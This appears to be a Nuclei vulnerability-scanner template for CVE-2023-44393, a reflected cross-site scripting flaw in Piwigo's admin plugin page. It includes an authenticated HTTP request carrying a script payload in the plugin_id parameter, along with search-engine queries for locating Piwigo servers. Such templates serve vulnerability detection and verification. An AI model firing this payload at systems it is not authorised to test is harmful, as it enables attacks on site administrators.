Piwigo - Cross-Site Scripting

id: CVE-2023-44393

info:
  name: Piwigo - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Piwigo is vulnerable to a reflected XSS in the admin panel where the `plugin_id` parameter is not properly sanitized.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update Piwigo to the latest version to mitigate the reflected XSS vulnerability.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-qg85-957m-7vgg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44393
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44393
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*
  metadata:
    vendor: piwigo
    product: piwigo
    shodan-query: http.favicon.hash:540706145
    fofa-query: title="piwigo"
  tags: cve,cve2023,piwigo,xss,authenticated

http:
  - raw:
      - |
        POST /identification.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=

      - |
        GET /admin.php?page=plugins&tab=new&installstatus=ok&plugin_id=nfez2%22%3E%3Cscript%3Eprompt(document.domain)%3C%2fscript%3Ehkugi HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>prompt(document.domain)</script>"
          - "The plugin has been successfully copied"
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
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